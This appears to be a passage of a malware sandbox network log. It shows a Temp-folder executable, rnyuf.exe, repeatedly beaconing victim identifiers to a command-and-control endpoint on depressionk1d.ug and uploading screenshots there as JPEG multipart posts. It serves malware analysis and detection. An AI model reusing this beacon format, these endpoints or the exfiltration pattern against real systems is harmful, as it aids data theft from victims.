Nov 12, 2021 22:23:37.735745907 CET	5395	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:37.735774040 CET	5401	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:23:37.758258104 CET	5417	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:37.758302927 CET	5428	OUT	Data Raw: 31 7d 6a 99 8a 31 4e 18 ad 91 a4 47 ea 69 46 93 10 ee 69 fd 5e 64 bc 55 33 1b 8a 38 ad bf ec 98 fd 4d 28 d2 62 f5 34 fe af 31 7d 6a 99 89 c5 2e 05 6d 8d 26 2f 53 4e 1a 4c 5e f4 fe af 22 5e 2a 99 89 8a 36 d6 e7 f6 54 5e f4 bf d9 51 7b d5 7d 5e 42 Data Ascii: 1}j1NGiFi^dU38M(b41}j.m&/SNL^"^*6T^Q{}^B3m(Z4W?Z/#X]~{yGw>ovZ)3:j1X3/y,0814k/&u!VKte,m5oCKJ)gCUe}
Nov 12, 2021 22:23:37.758366108 CET	5443	OUT	Data Raw: 2b c0 6b dd be 03 de 5a da 78 7f 56 fb 4d cc 30 ee ba 5d be 6c 81 73 84 e7 19 ac 2b fc 06 b4 7e 23 9f ff 00 84 73 5c ff 00 a0 2e a3 ff 00 80 af fe 14 a3 c3 ba ea b0 61 a3 ea 40 83 90 45 ab f1 fa 57 bb ff 00 6c 69 9f f4 12 b3 ff 00 c0 84 ff 00 1a Data Ascii: +kZxVM0]ls+~#s\.a@EWliO/v_]U?Y'Wwe)IdePLmZ5EU?AK/O>2eT6u<KSjV:wwje;j@S%-4&wN5X%WxP2
Nov 12, 2021 22:23:37.758439064 CET	5449	OUT	Data Raw: 4d ef 45 30 1d 9a 5c d3 69 69 a1 0e 14 bd e9 a2 97 34 ee 21 d9 a2 9b 9a 33 4c 56 1d 9a 5c d3 33 4b 4c 56 1e 29 c2 9a 3b 52 8a 68 4c 5a 5a 4a 29 88 5a 29 28 34 08 5a 5a 4a 29 80 b9 a5 a4 a2 80 14 1a 70 a6 52 8a 68 43 fb 52 d3 41 a5 aa 24 78 34 b4 Data Ascii: ME0\ii4!3LV\3KLV);RhLZZJ)Z)(4ZZJ)pRhCRA$x4iiE474fNPH(N5Dp4id8U!N$qXp4gLZB+hEQf4s).MOZhjvsUqXwJ\hyM2lIK`4<Pj=n+
Nov 12, 2021 22:23:37.806129932 CET	5469	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:37 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.4	49865	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:37.748758078 CET	5401	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:37.775949955 CET	5454	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.4	49866	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:37.916663885 CET	5470	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:37.942341089 CET	5470	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.4	49867	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:38.084495068 CET	5471	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:38.111748934 CET	5471	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.4	49868	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:38.232527971 CET	5472	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:38.232707977 CET	5472	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:38.232938051 CET	5482	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:38.233027935 CET	5485	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:38.256956100 CET	5491	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:38.257009029 CET	5511	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:38.282519102 CET	5517	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:38.282571077 CET	5522	OUT	Data Raw: af 69 17 b3 17 b1 9a dd 11 81 9a 90 51 b4 8a 50 33 45 ca 51 68 75 28 a4 c5 38 0a 9b 94 28 a7 52 01 4a 05 4b 2d 21 40 a7 81 4d 02 9e 2a 59 68 70 1c 57 15 f1 04 ff 00 c4 ba 3f fa ea 3f 91 ae d8 57 0f f1 04 ff 00 c4 bd 3f eb b0 fe 54 e9 ee 57 54 78 Data Ascii: iQP3EQhu(8(RJK-!@MYhpW??W?TWTx-&)=y#]t/<_{_)+4dG+u,C}?Z1?T,g8GeYo-5_3bMVF?og
Nov 12, 2021 22:23:38.282588005 CET	5525	OUT	Data Raw: 24 f0 cc b2 e9 b1 5d c5 a9 69 f2 49 34 13 5c c1 6a 0c a2 59 a3 89 98 3b 2e 50 2f f0 31 c1 60 70 3a 76 aa e9 a1 dd 3e a7 05 80 96 df cd 9a c8 5f 29 dc 76 88 fc 93 36 0f 1d 76 8f a6 7b f7 ab 17 1e 23 58 b4 0d 2a d2 c2 da cc ea 31 d9 5c 41 35 d9 8e Data Ascii: $]iI4\jY;.P/1`p:v>_)v6v{#X1\A5A%iTuH@#4?AiDi@`v0wv{c5VIw4[?wWu<j)d2xpH#SxjKIYuO,Bw@dHjC}&_-r[+YE+9
Nov 12, 2021 22:23:38.282603979 CET	5530	OUT	Data Raw: d1 0a 29 c2 80 28 02 a0 d1 21 45 2e 38 a0 0a 5c 71 48 a1 cb 52 2d 30 0c 53 85 4b 2d 12 0a 95 7a 54 42 a4 02 b3 66 d1 24 a5 c7 14 d1 4e 15 0c b1 40 af 29 f8 a7 f7 ad 3d dd cf f2 af 57 1d 6b ca 3e 2a 63 cc b2 fa bf f4 ad 68 7c 44 55 e8 78 ae 68 cf Data Ascii: )(!E.8\qHR-0SK-zTBf$N@)=Wk>*ch\|DUxh+M@<Gy%jng#3u\ ua[Of.<^5dUWVGQS[vPo+43=4ohdy6\|\|MbzC\CW?9+
Nov 12, 2021 22:23:38.282649040 CET	5533	OUT	Data Raw: 29 4c fc d9 c6 49 c9 eb f2 8a f7 b9 bf e1 22 f3 e4 f2 3f b2 fc 9d c7 66 ff 00 33 76 dc f1 9c 77 c5 79 3d cc ff 00 07 a7 27 cb d6 6e ed b3 ff 00 3c a2 9c e3 fe fa 8c d7 45 37 8d fe 16 cf 3c 93 4b a8 ee 92 46 2e c7 c8 ba 19 24 e4 ff 00 0d 71 62 64 Data Ascii: )LI"?f3vwy='n<E7<KF.$qbdt}GD)>yn7357_Mp\|UC^;%yR&\|\|*UiE5K`9^~i)4.u%H8 bp
Nov 12, 2021 22:23:38.333080053 CET	5582	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:38 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.4	49869	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:38.248425961 CET	5485	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:38.275011063 CET	5511	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.4	49870	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:38.417346001 CET	5583	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:38.446469069 CET	5584	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.4	49871	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:38.588937044 CET	5584	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:38.615972996 CET	5585	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.4	49872	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:38.742609024 CET	5585	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:38.742760897 CET	5586	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:38.742964029 CET	5596	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:38.743061066 CET	5598	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:38.768506050 CET	5619	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:38.768564939 CET	5624	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:38.791318893 CET	5630	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:38.791352987 CET	5636	OUT	Data Raw: af 69 17 b3 17 b1 9a dd 11 81 9a 90 51 b4 8a 50 33 45 ca 51 68 75 28 a4 c5 38 0a 9b 94 28 a7 52 01 4a 05 4b 2d 21 40 a7 81 4d 02 9e 2a 59 68 70 1c 57 15 f1 04 ff 00 c4 ba 3f fa ea 3f 91 ae d8 57 0f f1 04 ff 00 c4 bd 3f eb b0 fe 54 e9 ee 57 54 78 Data Ascii: iQP3EQhu(8(RJK-!@MYhpW??W?TWTx-&)=y#]t/<_{_)+4dG+u,C}?Z1?T,g8GeYo-5_3bMVF?og
Nov 12, 2021 22:23:38.791399002 CET	5638	OUT	Data Raw: 24 f0 cc b2 e9 b1 5d c5 a9 69 f2 49 34 13 5c c1 6a 0c a2 59 a3 89 98 3b 2e 50 2f f0 31 c1 60 70 3a 76 aa e9 a1 dd 3e a7 05 80 96 df cd 9a c8 5f 29 dc 76 88 fc 93 36 0f 1d 76 8f a6 7b f7 ab 17 1e 23 58 b4 0d 2a d2 c2 da cc ea 31 d9 5c 41 35 d9 8e Data Ascii: $]iI4\jY;.P/1`p:v>_)v6v{#X1\A5A%iTuH@#4?AiDi@`v0wv{c5VIw4[?wWu<j)d2xpH#SxjKIYuO,Bw@dHjC}&_-r[+YE+9
Nov 12, 2021 22:23:38.791476965 CET	5641	OUT	Data Raw: d1 0a 29 c2 80 28 02 a0 d1 21 45 2e 38 a0 0a 5c 71 48 a1 cb 52 2d 30 0c 53 85 4b 2d 12 0a 95 7a 54 42 a4 02 b3 66 d1 24 a5 c7 14 d1 4e 15 0c b1 40 af 29 f8 a7 f7 ad 3d dd cf f2 af 57 1d 6b ca 3e 2a 63 cc b2 fa bf f4 ad 68 7c 44 55 e8 78 ae 68 cf Data Ascii: )(!E.8\qHR-0SK-zTBf$N@)=Wk>*ch\|DUxh+M@<Gy%jng#3u\ ua[Of.<^5dUWVGQS[vPo+43=4ohdy6\|\|MbzC\CW?9+
Nov 12, 2021 22:23:38.791553974 CET	5646	OUT	Data Raw: 37 92 6e 14 6d 93 19 da ca c1 86 47 a6 54 57 95 86 9a 85 68 4a 5b 26 bf 33 aa ac 5b 83 4b b1 f2 86 68 07 34 bb 29 42 1a fb ab 1e 06 82 52 d1 b4 d2 ec 34 f5 10 94 52 ec 34 bb 0d 3b 05 cf b4 09 ac a7 3f e9 32 ff 00 be 7f 9d 69 93 59 2e 7f d2 65 ff Data Ascii: 7nmGTWhJ[&3[Kh4)BR4R4;?2iY.e\|:JC`1O:_UG_8P<otRc"z20S{Wzy(h/q3Gk*e(M8BM\MKqkGpEboAm=x:4wk,
Nov 12, 2021 22:23:38.843789101 CET	5696	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:38 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:38.891987085 CET	5696	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:38.920583963 CET	5697	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.4	49873	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:38.759351015 CET	5599	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:38.785475016 CET	5625	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49790	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
